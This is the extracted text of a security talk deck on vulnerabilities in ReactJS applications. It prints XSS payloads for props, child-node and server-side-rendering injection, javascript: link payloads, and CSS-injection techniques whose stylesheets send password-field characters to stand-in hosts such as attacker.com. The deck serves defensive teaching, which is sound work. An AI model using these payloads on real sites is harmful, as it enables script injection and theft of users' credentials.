Download as pdf or txt
Download as pdf or txt
You are on page 1of 23

Vulnerability in Apps

on ReactJS

Meshcheryakov Aleksey
Agenda
• React review
• Components, Props and Elements injections
• Server-Side Rendering
• CSS injection
• XSS in React Apps
What is React?
• JS Library for creating UI, not a Framework
• Only View in Model-View-Controller (MVC) Pattern
• Popular in startups
React features
• One-way data flow JSX:
const element = (
• Virtual DOM <h1 className="greeting">
Hello, world!
• JSX
</h1>
• ReactNative );
JavaScript:
const element =
React.createElement(
'h1',
{className: 'greeting'},
'Hello, world!'
);
Auto escaping strings
class XSS_Test extends Result:
React.Component {
render() {
let xss_payload = “<img src=x
onerror='alert(1)'/>";
return <div>STRING {xss_payload}
ESCAPED</div>;
}
}
React component
JSX:
<type {…props}>{childrens}</type>

JavaScript:
React.createElement(“type", [props],
[…childrens]};
Injecting Child Node
JSX:
<span>{attacker_supplied}</span>

JavaScript:
React.createElement("span", null,
attacker_supplied};
Injecting Child Node
{
(Payload)
_isReactElement: true,
_store: {}, • Found by Daniel
type: "body",
props: { LeCheminant
dangerouslySetInnerHTML: {
__html:
• Fixed in React 0.14
"<script>alert(1)</script>"
}
}
}
Injecting Props
<span {...attacker_props} />

React.createElement(″span″,
attacker_props);

Payload:
{″dangerouslySetInnerHtml″: {″__html″:
″<img src=xss onerror=′alert(1)′/>″}}
Server-Side Rendering
function renderFullPage(html, preloadedState) {
return ` <!doctype html>
<html>
<head><title>Redux Universal Example</title></head>
<body>
<div id="root">${html}</div>
<script>window.__PRELOADED_STATE__ =
${JSON.stringify(preloadedState)}</script>
<script src="/static/bundle.js"></script>
</body>
</html> `
}
Server-Side Rendering
Payload:

preloadedState = {
attacker_supplied :
"xss</script><script>alert(1)</script>"
}
CSS-in-JS
• Using JS to describe CSS Rules <Div
• Using one language for logic and fontSize={20}
styling textAlign="center"
• Add styles directly to >
components, using full power of Hello CSS-in-JS!
CSS
</Div>
CSS injection vulnerability
<Div
height={120}
width={120}
backgroundColor='#888'
backgroundImage={user.avatarURL}
/>
Payload:
user.avatarURL = `test;}.inj_rule{color:red`
UI-redressing attack
const textColor = `white;}
body {
background-color: purple;
}
.x{color: red`

<Div color={textColor}>
Hello!
</Div>
Password stealing color
<style>
#form2 input[value^='a'] { background-image:
url(https://attacker.com/?a); }
#form2 input[value^='b'] { background-image:
url(https://attacker.com/?b); }
#form2 input[value^='c'] { background-image:
url(https://attacker.com/?c); }
[...]
</style>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
</form>
Data stealing
<style>
@font-face{
font-family: poc;
src: url(https://attacker.example.com/?A);
unicode-range:U+0041;
}
@font-face{
font-family: poc;
src: url(https://attacker.example.com/?B);
unicode-range:U+0042;
}

#sensitive-information{
font-family: poc;
}
</style>
Data stealing
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A);
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B);
unicode-range:U+0042;
}

#sensitive-information{
font-family:poc;
}
</style>
“Classic” XSS
<div
dangerouslySetInnerHTML
= {attacker_props}/>;

Payload:
{″__html″:″<img src=xss
onerror=′alert(1)′/>″}
Injectable Attributes
<a href={attacker_supplied}>Link</a>

<button type=submit
formaction={attacker_supplied}>

Payload:
javascript:alert(1)
Eval-based injection

• eval
• SetInterval
• SetTimeout
React Native
• HTML-elements doesn’t parsed
• Can’t create arbitrary elements
• Only eval() vector work
Takeaways
• Developers
• Don’t use dangerouslySetInnerHtml
• Specify props that are used
• Avoid using untrusted date in stylesheets
• Security testers
• Try to inject JavaScript, JSON, CSS wherever you can
That’s all

Thank you!
aameshcheriakov@gmail.com
https://t.me/aameshcheriakov

You might also like